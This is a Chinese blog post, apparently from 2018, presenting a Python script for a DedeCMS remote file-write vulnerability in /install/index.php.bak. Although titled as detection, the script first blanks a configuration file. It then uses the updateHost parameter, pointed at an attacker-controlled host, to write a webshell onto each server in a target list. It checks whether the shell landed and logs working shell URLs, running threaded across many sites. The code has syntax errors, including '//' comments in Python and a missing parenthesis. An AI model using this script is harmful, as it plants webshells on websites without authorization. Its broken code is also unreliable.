dedecms远程文件写入漏洞检测

  1. 前言:
  2. 正文:

前言:

Dedecms远程文件写入漏洞。出现于/install/index.php.bak这个文件
详细情况请看:http://www.k2a.cn/131.html

正文:

思路:

1.先发送请求 /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php 进行清空
2.构造shell进行写入请求
3.验证shell是否存在

一开始我直接判断是否防火墙之类的东西,导致后面没有办法成功。所以
我这里就没有些判断什么防火墙的东西。直接判断shell有没有写入成功

代码:

import requests
import os
import threading

payload=['/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/xx.php&updateHost=http://your-IP/','/data/xx.php','shell的特征']

user=input('file:')
if os.path.exists(user): //判断文件是否存在
    print('[+]open {} ok !'.format(user))
else:
    print('[-]Not found {}'.format(user))
    exit()


def explot(urls):
    headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'}
    url1="{}".format(urls+payload[0]).strip() //构造URL 
    url2="{}".format(urls+payload[1]).strip()
    gjz=payload[2]
    try:
        rw=requests.get(url='{}/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php '.format(urls),headers=headers) //发送请求进行清空
        rqt=requests.get(url=url1,headers=headers)  //远程写入
        rqt2=requests.get(url=url2,headers=headers) 
        if gjz in rqt2.text or gjz in rqt2.content.decode('utf-8'): //判断是否成功写入shell
            print('[+]shell url:{}'.format(rqt2.url)
            print('[+]shell url:{}'.format(rqt2.url),file=open('good.txt','a'))
        else:
            print('[-]no shell {}'.format(rqt2.url))
    except:
        pass
if __name__ == '__main__':
    dk=open('{}'.format(user),'r')
    for r in dk.readlines():
        qc="".join(r.split('\n'))
        t=threading.Thread(target=explot,args=(qc,))
        t.start()

测试结果:

转载请注明:出自422926799.Github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:dedecms远程文件写入漏洞检测

本文作者:九世

发布时间:2018-07-31, 00:11:05

最后更新:2019-04-19, 20:36:16

原始链接:http://jiushill.github.io/posts/8284a757.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录